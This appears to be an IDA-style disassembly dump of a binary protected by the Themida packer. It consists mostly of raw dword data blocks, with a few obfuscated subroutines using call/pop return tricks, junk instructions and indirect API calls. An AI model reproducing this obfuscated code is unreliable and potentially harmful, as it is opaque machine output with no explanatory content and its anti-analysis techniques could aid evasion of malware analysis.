		dd 34396C1Ch, 0E7816639h, 0BE66CEB1h, 880F21B8h, 6, 775B58Bh
		dd 0BF0F060Eh, 0CE956F2h, 0AB000000h, 2DA4B251h, 68E7872Fh
		dd 5E0D978Bh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	0E5C35040h, 0D4D2F5FAh,	1E8A0Fh, 0B58B0000h, 60E250Dh
		dd 12E8h, 5DD9D900h, 12096745h,	268DCECAh, 0FBAD062Fh
		dd 5F7B6CF6h, 0A119D29h, 6A060Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 1E008CC3h, 4E49E0A7h
		dd 0D1816660h, 9D8B0058h, 60E100Dh, 1695BD89h, 0FA8A060Eh
		dd 10E961h, 65070000h, 526FC396h, 45D513C8h, 79FFEF2Fh
		dd 0BD8BCDEEh, 60E0D49h, 2DED9D09h, 0F53060Eh, 68Bh, 55B58B00h
		dd 5F060E0Eh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0DFC35141h, 1845B503h, 0B58B060Eh, 60E00ADh, 0FFF84BE9h
		dd 0BF0F52FFh, 0F4BF66F1h, 0B5895F48h, 60E101Dh, 6AC18Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0E5161DC3h, 0B194D460h, 4EB82h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0D000C357h, 0E5B58B52h, 0F060E0Eh, 858DF7BFh, 60E19C1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0E3C35040h
		dd 0A3CA39EAh, 0BF0F3837h, 9DBD0BF6h, 50060E21h, 0CE9h
		dd 56502D00h, 0CEE46CD9h, 0B67C5C87h, 24048940h, 2FD1B529h
		dd 6A060Eh, 1D019D01h, 6A060Eh,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0FC35141h, 5C080F9Ch, 15E54DAFh
		dd 0C28858Dh, 0D6810612h, 3C518A27h, 6A05C083h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0ABF9C351h, 77873FE3h, 0E1DBD8Bh, 5050060Eh,	8B310F52h
		dd 89585AFEh, 0F38B2404h, 0B58B5150h, 60E24F9h,	6A5E5Eh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 2AC35343h, 6A19ECh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0CBC35646h,	0F20339F5h, 970C1F36h
		dd 5161BF94h, 95FF731Ah, 60E2FE1h, 2EF9BD03h, 0B58B060Eh
		dd 60E0741h, 924B9D8Dh,	6A0611h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 5FE58FC3h, 3FC6FB5Dh
		dd 0ADBFDFBFh, 89D3FF30h, 0E1E3D95h, 0DBD68106h, 0FF5A6F60h
		dd 0E147585h, 0F08B6606h, 86CE9h, 0E800h, 815D0000h, 120C32EDh
		dd 85295306h, 60E0341h,	49BD815Eh, 0D0060E2Eh, 0F000007h
		dd 12286h, 4830F00h, 66000000h,	8BEDA2BEh, 0E31719Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0CF1AB17Ch, 0DA64826Ch, 0DE9h, 5C951300h, 78CE5AAh
		dd 0E38ED0CCh, 0E3814AF0h, 100h, 0D4CEF781h, 0DB0B70D8h
		dd 99850Fh, 0EF810000h,	6271C334h, 0A93BD83h, 0F000612h
		dd 1184h, 0EDB58B00h, 0E9060E0Fh, 99h, 2C5DB531h, 85C7060Eh
		dd 6120A93h, 1,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0A9C35141h, 1F7DC7D6h, 128186CDh, 0F18B6632h, 1B458589h
		dd 56E9060Eh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 62DCC356h, 9E960h
		dd 80590000h, 0BFDD38F4h, 6001DE6Fh, 0FD3BF0Fh,	8Bh, 0C7616100h
		dd 120A9385h, 6, 8E800h, 698D0000h, 0FFC2D865h,	0BD31B852h
		dd 60E0AA5h, 719D8D5Fh,	81060E31h, 0FFFEFF23h, 66FA8BFFh
		dd 664F13BFh, 0BD8BDB8Ch, 60E3529h, 0F04C3F6h, 6584h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 36A5EC56h, 1E45BD33h, 95FF060Eh, 60E1689h, 3E75CE81h
		dd 895009C4h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 7F3A15C3h, 21F666CDh, 58506060h
		dd 1AC5BD89h, 8B61060Eh, 90E961DEh, 6A000004h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 3638C357h, 1389BD8Bh, 0B0060Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0E2C35545h,	48518137h, 5F500B19h
		dd 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 3D509AC3h, 319BC149h, 818D098Eh, 0F060E0Eh
		dd 584h, 4123BF00h, 71E41A51h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0F6C35040h,	1742CE39h, 0D44F102Dh
		dd 28A99D89h, 0B60F060Eh, 50006AD8h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8B7085CDh
		dd 0E2D35BDh, 6BA06h, 0C38B0000h, 738BC781h, 0E8C16FCBh
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 83E7481Fh, 66C8D7B1h, 0F766F18Bh, 55006AE2h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 91DD22B8h, 0DBF45115h, 0D82BF18Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 1BC35646h, 0E3300524h, 0B8C78160h
		dd 664508DCh, 447ED181h, 0F609361h, 58Dh, 1999BF00h, 0D08B1BE8h
		dd 8B665061h, 9E993F0h,	6A000000h, 0C5061785h, 0F167BDC4h
		dd 0D09BD03h, 0B5FF060Eh, 60E2E49h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 80C35545h, 25B58BCAh, 0FF060E31h
		dd 0E0F4595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 298D092Eh, 0F060E1Ah, 0B0F0B7h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7AC35242h, 0C52A2552h
		dd 0E6A72330h, 0E7816670h, 71E48F46h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 9C35242h, 4B6A8AE7h, 3CF88B66h
		dd 5C830F61h, 6A000002h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0EAAC357h, 0EC778867h
		dd 0B60F40D4h, 6BAD8h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 3C9573C3h, 0C1A3FCD6h
		dd 29C38B2Dh, 0E0F71B5h, 119D8906h, 0C1060E22h,	6A04E8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0B172FDC3h, 56F0FF30h, 2D35BD8Bh, 0F766060Eh, 618D89E2h
		dd 2B060E13h, 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 5278B2DDh, 0C4F982ABh, 0DE9h, 0C6521500h
		dd 66EF60h, 0B84A2A68h,	0B5892215h, 60E00A5h, 0ADB50158h
		dd 2B060E1Dh, 80880FD8h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0F5A3C353h
		dd 0DBEA5501h, 0B9B50EE8h, 7, 0C8A0Fh, 800F0000h, 6, 0F27D781h
		dd 0C183032Bh, 0BE900h,	99500000h, 4689B17Dh, 73FC86FEh
		dd 0FD93BF2h, 12A86h, 8C66F900h, 56006AD9h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0F2EF6CCAh
		dd 5B7A780Ah, 4C1F62Bh,	0D9840Fh, 0FFF80000h, 0E168995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0E32B37BCh, 0B58BD5BFh, 60E168Dh, 52006A5Bh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 67F41DB1h, 6AC32Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 8ED68EC3h, 0D880CDC9h, 8343D17h
		dd 860F0000h, 5Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 83C35646h, 3B8D55A2h,	0F569958h, 0E95EF9BFh
		dd 4Fh,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh
		dd 0E8C35646h, 44313174h, 8B370CBFh, 0E31D1B5h,	0AADF8106h
		dd 8B1B6F80h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 8BE2D7FBh, 6AD88BC3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0C03AC351h
		dd 0D93B6CB6h, 8BD3491Fh, 0E0A09BDh, 4BDF8106h,	0C76EC00Bh
		dd 0E133D85h, 54E97D06h, 57006A52h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 6073F678h, 28D5BD8Bh
		dd 0BD8B060Eh, 60E309Dh, 0FC08B61h, 28Dh, 56F08B00h, 49BD815Fh
		dd 0D0060E2Eh, 0F000007h, 3885h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0E936DDB9h
		dd 0Bh,	3DCB67D7h, 0D137B2C2h, 0FF365DD0h, 0E2E4985h, 15BE6606h
		dd 49B5FF0Ch, 60060E2Eh, 80ABD181h, 896062A2h, 0E07BD95h
		dd 6161FC06h, 0F4595FFh, 6A060Eh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 5387EBC3h, 0E418F163h
		dd 6A90456Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h
		dd 0BFDFC350h, 5C7D7271h, 10E9h, 8E81EA00h, 33417002h
		dd 58753B48h, 70F089C3h, 6830FCFh, 8B000000h, 0E0E91B5h
		dd 2870F06h, 8B000000h,	52006AF0h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0B9BD0BADh, 8B060E07h
		dd 0E0F2DB5h, 0D9B58B06h, 0E9060E0Ch, 8, 8AA06A51h, 0A572C9DDh
		dd 0F7DF8166h, 69B58B5Dh, 8B060E13h, 0E2219B5h,	79958906h
		dd 8B060E29h, 0E2F45B5h, 8E906h, 6EFC0000h, 0BE7F5584h
		dd 816648A6h, 2922CECEh, 0E09D995h, 1BD8B06h, 81060E0Fh
		dd 0B0D8ECF6h, 12840F66h, 0E9000000h, 7, 1F055D19h, 0B0013C5h
		dd 0E3041BDh, 0E1858906h, 6A060E1Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0EA7AC351h
		dd 0EAB57AEAh, 0E7FB9CBBh, 0FFF7A0E9h, 0B9B58BFFh, 8B060E1Ah
		dd 0E32D9B5h, 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 78F846C3h, 8909AAF8h, 0E3091BDh
		dd 0FFFEB906h, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0F15BD8C3h, 0E39F1C80h, 13E95493h
		dd 4000000h, 8B5578CBh,	0C534E562h, 0CEFD125Ah,	79CC5EFEh
		dd 8D213CEDh, 60E0065h,	8F462EBFh, 9D8D2157h, 66060E1Ch
		dd 60D6D1B8h, 22018D8Bh, 0D68B060Eh, 658D8B61h,	66060E00h
		dd 8D89F08Bh, 60E0019h,	0F01E183h, 3585h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 5E4AC833h, 63B1D760h, 8B60490Fh, 0E1D4DBDh, 2880F06h
		dd 51000000h, 8D8B615Eh, 60E1C9Dh, 3BD858Bh, 0E183060Eh
		dd 6850F01h, 8B000000h,	0E2289B5h, 0BE606106h, 6FFE5065h
		dd 0FFFFFEB9h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 95299B02h, 60E085Dh, 21F7BF0Fh
		dd 0E2D058Dh, 0E5BB6606h, 0BD8D21B1h, 6A060E0Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 6674C351h, 8BD0BFBEh, 0E2D058Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 7BC5F700h
		dd 91AB57F8h, 0F01E183h, 0F85h,	8E800h,	0AD450000h, 632F89F8h
		dd 5EF94EEDh, 0DBD8D8Bh, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 249E21C3h, 8D89E31Eh
		dd 60E24E9h, 0F01E183h,	585h, 8B665600h, 606158DAh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 2AC35646h, 34C72722h
		dd 8175E480h, 0ECD05ECAh, 0C78B6667h, 0FFFFFEB9h, 55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E94FFEA1h, 8, 0CBB6E9EAh, 990EEF2h,	23A18D21h, 8B66060Eh
		dd 6DB58BFAh, 21060E00h, 0E133D8Dh, 55858906h, 8B060E1Fh
		dd 0E23A18Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 8B6657C4h, 0E18358F3h, 28850F01h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 17BDC353h, 4D5B04AEh, 66E2A9D9h
		dd 8BB3BAB8h, 0E133D8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 6ED4A2D0h, 0D8E669CCh
		dd 31B58B8Dh, 83060E0Ch, 850F01E1h, 6, 30F18D29h, 6061060Eh
		dd 1830Fh, 0B9F80000h, 0FFFFFFFEh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0ABC35141h,	9E9EB3Eh, 21000000h
		dd 0C3EDF65Ah, 0ACA12CCCh, 1CF18D21h, 0BA66060Eh, 66502252h
		dd 5A376AB8h, 31718D21h, 6A060Eh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0B1D280C3h, 0DD952B90h
		dd 8B060E1Fh, 0E1CF18Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 66A7F4DDh, 8D0F27C8h
		dd 5, 6E2D39BAh, 1E18322h, 38850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0DABFA2C3h
		dd 5D33C453h, 0F365167h, 0D86h,	8E900h,	6C190000h, 0D8E90424h
		dd 8D8B74B6h, 60E3171h,	13698D09h, 0E183060Eh, 24850F01h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0F184C352h, 1CE53AFBh,	618681B2h
		dd 53006A60h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 8860F2Dh, 0F000000h, 287h, 0B85B5600h, 2A09D58Ah
		dd 2E4985C7h, 7D0060Eh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 292100C3h, 0E07E99Dh
		dd 0DEBF0F06h, 51006A61h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 27BB337Ah, 0EBB3FC46h
		dd 0A5BD8B4Ah, 0EB060E03h, 0E99D6107h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_58AF33
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AF33	proc near		; CODE XREF: Themida_:0058AF2Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_58AF33	endp

; ---------------------------------------------------------------------------
		or	al, 87h
		cmp	cl, cl
		push	0
		push	ecx
		call	sub_58AF52
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AF52	proc near		; CODE XREF: Themida_:0058AF4Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_58AF52	endp

; ---------------------------------------------------------------------------
		xor	ebx, ebp
		add	ch, dh
		mov	ebx, [ebp+60E1A1Dh]
		mov	eax, ecx
		jmp	loc_58AFE8
; ---------------------------------------------------------------------------
		pusha
		mov	ax, ds
		test	al, 4
		jz	loc_58AFB4
		push	1
		push	dword ptr [ebp+60E19F5h]
		lea	eax, [ebp+6116F74h]
		call	eax
		mov	[ebp+60E0779h],	eax
		mov	edi, esi
		shr	edi, 0Ch
		push	20040000h
		push	0
		push	2
		push	edi
		push	1000Dh
		call	dword ptr [ebp+60E0779h]
		jmp	loc_58AFE6
; ---------------------------------------------------------------------------


loc_58AFB4:				; CODE XREF: Themida_:0058AF79j
		mov	byte ptr [ebp+60E2F11h], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+60E0C3Dh]
		lea	eax, [ebp+6116F74h]
		call	eax
		mov	[ebp+60E06E9h],	eax
		lea	eax, [ebp+60E229Dh]
		push	eax
		push	20h
		push	5
		push	esi
		call	dword ptr [ebp+60E06E9h]


loc_58AFE6:				; CODE XREF: Themida_:0058AFAFj
		popa
		retn
; ---------------------------------------------------------------------------


loc_58AFE8:				; CODE XREF: Themida_:0058AF6Ej
		shl	eax, 6
		jmp	loc_58B019
; ---------------------------------------------------------------------------
		dd 7EDA45EDh, 9	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_58B019:				; CODE XREF: Themida_:0058AFEBj
		jmp	loc_58B55A
; ---------------------------------------------------------------------------
		dw 0E1D8h
		dd 0BBB75216h, 0A09B36FAh, 847E19DDh, 6860FBBFh, 34B0DB9Fh
		dd 4C10D9D1h, 2DF1B8B1h, 13D79492h, 0F8BC7B78h,	0F920E1ACh
		dd 595D7BAAh, 0B9B642F0h, 0B03DEFAh, 1B220F19h,	2C87947Bh
		dd 0B2BC385Ch, 37FB76F1h, 0C4E09F9Ch, 0E09ECE9h, 0FD782F4Bh
		dd 490A06E1h, 9358522Dh, 0DFA09C77h, 64804740h,	0B8DB2CAEh
		dd 44B9C5Eh, 0AA794807h, 6982AEE9h, 1114455Bh, 0C0FB8B20h
		dd 69297EF9h, 22BFFA9Eh, 10A404CBh, 62A6D89Ah, 0C71C9769h
		dd 0A2712E2Ch, 0F2470603h, 0DC999732h, 0FCECE5C0h, 80789A67h
		dd 79D613B7h, 0B27EEE7h, 425ED954h, 90D728E6h, 7611D592h
		dd 263B9179h, 419C0C47h, 6FADAAC6h, 8B5B69ABh, 0A94E7CCDh
		dd 7DAFF630h, 5Fh, 0F6B7860Fh, 5B69B093h, 0C45FB42Fh, 0EFEC08C7h
		dd 5B69B0AAh, 46BD0ECCh, 0B053B677h, 74EF5B69h,	33CE27D0h
		dd 0B106A2D1h, 0F629C82Fh, 0C6C05FAFh, 0D92EE501h, 10Dh
		dd 0BAB69F00h, 602DDF9h, 7F1E2945h, 0CE69BE87h,	5DF30FD4h
		dd 0CCB5AF4Eh, 3F940FD0h, 2D2970C1h, 100DA86Ch,	0B61F8D51h
		dd 0FED9F5BEh, 30254102h, 221A61B2h, 0FDFA9559h, 4C47223Eh
		dd 94926D89h, 0E6E0BBD7h, 0EBA90521h, 9756539Ah, 9E49C47Bh
		dd 0AA5D8BDCh, 7DAFF64Ah, 0CE23E0DEh, 0AB02h, 0BEB69400h
		dd 0B85726F5h, 29E0FCBBh, 69B02168h, 11D2A15Bh,	5B69B0F6h
		dd 0FF54CF4Ah, 413DDCE7h, 95902B80h, 733403D2h,	5B69B014h
		dd 0CF8D31ACh, 0D2DEDB39h, 0CBA6BE13h, 16F10DD0h, 4A3F5B18h
		dd 4E2F7BCCh, 0E8F95A4Ch, 4A59B32Eh, 9BF0ADABh,	8D85CC1Dh
		dd 6526F5C4h, 5B69D822h, 0ECE239Eh, 96B27B73h, 2DFCC1BBh
		dd 25101989h, 5CB1A57Ch, 0AD6C6944h, 0FBB8B691h, 56A729DFh
		dd 3753120Fh, 985A0580h, 25EE1947h, 3938AFF6h, 0CA000000h
		dd 0D9F5BEB6h, 241F00FEh, 138E4561h, 6EBF41F7h,	9D5A58F7h
		dd 0DA75CA81h, 0E75519E2h, 2BEAE786h, 7E3F3BD6h, 0B0276562h
		dd 85435B69h, 4BF10634h, 135AFF6h, 0C7000000h, 28EDE786h
		dd 6500550Ch, 7792536Ah, 0CB5B69B0h, 0AEB9D550h, 3551140Fh
		dd 918E297Eh, 9C5AB6D2h, 4609044Bh, 4C75C382h, 0B4B0BC7Dh
		dd 0D5506177h, 22E1DEB9h, 7C6C35Eh, 0DB9E9938h,	9BB308BFh
		dd 984B799Eh, 53A426A2h, 823F3DDCh, 8295922Dh, 984B46C1h
		dd 47FFAA2h, 62A56635h,	0D6A2984Bh, 984BF215h, 0CD34EA2h
		dd 0E17C3C91h, 2E0925E4h, 4A37231h, 0D7EF440Bh,	0CC1364E2h
		dd 9CFBBCCFh, 34A2984Bh, 0F87A3EB9h, 0B60450FFh, 13627h
		dd 0A692B900h, 318B4C1Bh, 0EF6177E2h, 0F3925550h, 611834F9h
		dd 20BFCAE6h, 92496522h, 0E6A5A23Dh, 0BFB85722h, 0B08A3F8h
		dd 5855304Ch, 0A8A27D99h, 7E4BCE8Fh, 8C07A298h,	211AF511h
		dd 24E23E5Ah, 79F7B0D3h, 1812B128h, 2B803753h, 10D49390h
		dd 47E698Eh, 60BDB6h, 4EF20000h, 36A765Eh, 75E33887h, 4918A992h
		dd 69B02188h, 490AD9DBh, 0DB69B0CEh, 0EFB20782h, 16470A4Bh
		dd 0A03FD30Ah, 11C8E4A3h, 1A7D7A96h, 0EDDB69E2h, 88B31E6Fh
		dd 0FC9B6A39h, 1D7C3D02h, 0B5DB69E2h, 591AE53Ah, 5B69E21Eh
		dd 996837B2h, 69E2B1D8h, 7C3D395Bh, 25E53AB5h, 7EDBh, 0A6926900h
		dd 0D98B4C1Bh, 176177B0h, 0A8A5809Ch, 8D8A25E9h, 55B5B2CEh
		dd 40A2984Eh, 29266DBEh, 6B874C46h, 0B67539B4h,	0AF703F82h
		dd 988A3478h, 86617DF8h, 52AECA89h, 28CC4394h, 0CA8B15AAh
		dd 0A8B6254Fh, 97E48803h, 2F2DCC42h, 4A9F5672h,	21C0AD8Bh
		dd 67A26326h, 3A8B671h,	7027430Ah, 4A110AA9h, 0C48554CFh
		dd 92A40B55h, 24C3920Dh, 414C6827h, 0A4171980h,	0C33EB9B6h
		dd 8640AE6Eh, 0B093F6B7h, 902F5B69h, 1B8D493h, 26EFE786h
		dd 9B2612D1h, 1959FDCCh, 346B2590h, 1B8E4BA0h, 0D7617B79h
		dd 6865405Ch, 4B1AE5A9h, 87290F8Ah, 7948C3A2h, 872951B8h
		dd 2176F1A2h, 0AECA8986h, 5DDCFFA3h, 0FC17C7E8h, 9DE1EAA7h
		dd 8C4E2DDCh, 38F7F43Bh, 1DDCD974h, 672C2601h, 45E4EF4Bh
		dd 0F0EA8948h, 3580F2Bh, 0F0ED3485h, 0D5D26D31h, 4BEFFA16h
		dd 0BBA1E695h, 0BD4CC90h, 68BD38EFh, 31Eh, 8133AC00h, 0D8F4BFB6h
		dd 254100FDh, 738F4C4Ah, 0BCD89F98h, 420E9E1h, 4C683129h
		dd 96B27771h, 0E1FDC0BBh, 2D490A06h, 55C06869h,	1C890000h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 68241C89h
		dd 4C02h, 50240C89h, 3E017BB8h,	0E7592D11h, 0C3890B2Bh
		dd 8124048Bh, 4C4h, 4EC8100h, 89000000h, 4812424h, 424h
		dd 0B8505900h, 8, 8955C801h, 5D2889DDh,	240C8B58h, 81E68956h
		dd 4C6h, 4C68100h, 87000000h, 8B5C2434h, 8957241Ch, 4C781E7h
		dd 83000000h, 3C8704C7h, 4DE95C24h, 0A6FFFC5Fh,	0B095CFB9h
		dd 8EA53405h
		db 5Eh,	0DCh
; ---------------------------------------------------------------------------


loc_58B55A:				; CODE XREF: Themida_:loc_58B019j
		mov	eax, 6121EC9h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0DFh
		dd 40726CAAh, 53239036h, 0A66CCAAh, 5F6C3D58h, 0E82E4848h
		dd 22047B1Eh, 6D0E77D3h, 8608F732h, 217643E6h, 743E232Ah
		dd 5834F588h, 0A8483F4Dh, 8D641BE9h, 0D017ECBCh, 0B9040E10h
		dd 0C12B7010h, 0EB598505h, 251C8F4Fh, 0A108ABFAh, 0A4ACDAC6h
		dd 5CD2D41Ch, 0CE00E45Ch, 1BF53134h, 29B327CEh,	0DD5B34D1h
		dd 17E62AC7h, 34DF1BCEh, 0A6DB67h, 479EABh, 0D5A3EA1Ah
		dd 0
		dd 0FECB199Ch, 0FE490000h, 0FBh, 52DDB487h, 9ED92023h
		dd 77E7339Ch, 1238E9h, 9958B00h, 83060E33h, 0E0D79BDh
		dd 850F0006h, 18h, 29B589h, 0B8060Eh, 66000000h, 0C29EBBB9h
		dd 8D8B0004h, 60E1A15h,	6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0D95206C3h, 0D59723A0h
		dd 0E181FAF1h, 4B1D9ADBh, 0E21BD83h, 7500060Eh,	0C5BD8309h
		dd 60E0Fh, 53501374h, 0D0B8C08Bh, 8D000004h, 10A6409Dh
		dd 5BD3FF06h, 0C5BD8358h, 60E0Fh, 53501174h, 4D0B8h, 8D9D8D00h
		dd 0FF0610A5h, 6A585BD3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 917C351h, 0E1AC19Dh
		dd 0F1816606h, 0C08B438Fh, 17298529h, 858D060Eh, 6121FF0h
		dd 0D98D8B50h, 5F060E2Eh, 52505190h, 0D2B3CFBAh, 0E8310F2Fh
		dd 12h,	60D337F4h, 76EB6F32h, 0E48A81CEh, 0C9D4831Ch, 5A5F81DBh
		dd 50505958h, 6800F52h,	0F000000h, 80h,	66310F00h, 585AFA8Bh
		dd 0A18D0190h, 8D060E2Eh, 121FAD85h, 0AE906h, 48360000h
		dd 0BA346444h, 5AE966B6h, 89D08B50h, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 69A05FC3h
		dd 0F57E0572h, 95FF657Eh, 60E2F2Dh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0DAC35141h,	53D8FCE5h, 53DC2A42h
		dd 1F218589h, 8B59060Eh, 2B042444h, 0E2ED195h, 0D8858906h
		dd 8A06121Fh, 24448BD1h, 0BD895208h, 60E0371h, 0EC85895Ah
		dd 0E806121Fh, 8, 69A70DA0h, 0DDA6CD3Fh, 8359D58Ah, 0E02A1BDh
		dd 850F0006h, 0A4h, 0F418D8Bh, 85C6060Eh, 60E2F11h, 91BD2347h
		dd 68060E09h, 0A5F08FEFh, 0B9665250h, 310F641Fh, 6E8h
		dd 81D47B00h, 0E9EC3A50h, 5, 69DC388Dh,	585A5996h, 3D243481h
		dd 6A716A28h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 81CFC356h, 0C45860B9h,	0C3DB5FFh
		dd 9D89060Eh, 60E04ADh,	6F74858Dh, 85090611h, 60E34BDh
		dd 8E0FD0FFh, 6, 1805958Bh, 0E960060Eh,	0Bh, 0DF30D117h
		dd 17F5E18Ch, 61A779B6h, 2A18589h, 8D8B060Eh, 60E0A11h
		dd 0FD1BD83h, 0F00060Eh, 0CB85h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 1185C6E1h
		dd 47060E2Fh, 38E0Fh, 8B660000h, 8B68D3h, 8F0FBBD4h, 2
		dd 348168B5h, 0DBB56924h, 74B96631h, 3DB5FFD1h,	66060E0Ch
		dd 8D2EF7B9h, 116F7485h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 9EE942E0h, 6684ABFCh
		dd 0E8A100B9h, 8, 544B8F5Eh, 0CD591BC7h, 8458501h, 0FF5A060Eh
